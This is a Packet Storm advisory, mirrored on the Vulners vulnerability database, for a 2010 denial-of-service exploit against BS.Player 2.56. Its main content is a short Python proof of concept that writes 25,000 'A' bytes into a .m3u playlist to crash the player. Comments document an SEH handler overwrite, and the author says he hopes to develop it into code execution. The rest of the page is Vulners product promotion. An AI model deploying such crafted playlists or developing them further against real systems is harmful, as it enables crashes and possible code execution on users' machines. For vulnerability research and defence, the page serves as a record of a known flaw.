Lucene search
K

BS.Player 2.56 Denial Of Service

🗓️ 28 Sep 2010 00:00:00Reported by modpr0beType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 16 Views

Denial of Service vulnerability in BS.Player 2.56 via .m3u and .pls playlist files.

Code
`#!/usr/bin/python  
#  
# Exploit Title: BS.Player 2.56 (Build 1043) .m3u and .pls Denial of Service  
# Date: September 27, 2010  
# Author: modpr0be  
# Software Link: http://www.bsplayer.com/bsplayer-setup.exe  
# Version: 2.0.0  
# Tested on: Windows XP SP3/2003  
# CVE : -  
  
# How it works?  
# Open BS.Player --> Open the Playlist Window --> Load m3u/pls file --> boom!  
#  
# SEHandler  
# bsplayer.00410041  
#  
# 0012F74C 00410041 A.A. Pointer to next SEH record  
# 0012F750 00410041 A.A. SE handler  
#  
# I think this is a kind of unicode exploit. I'm learning this, hope it will run calc, soon.  
# btw...thx corelanc0d3r (PVE) for his great exploit writing tutorial ;)  
#  
  
junk = "\x41" * 25000  
  
file = open('blah.m3u','w') # change it if you want to try the .pls  
file.write(junk)  
file.close()  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Sep 2010 00:00Current
7.4High risk
Vulners AI Score7.4
16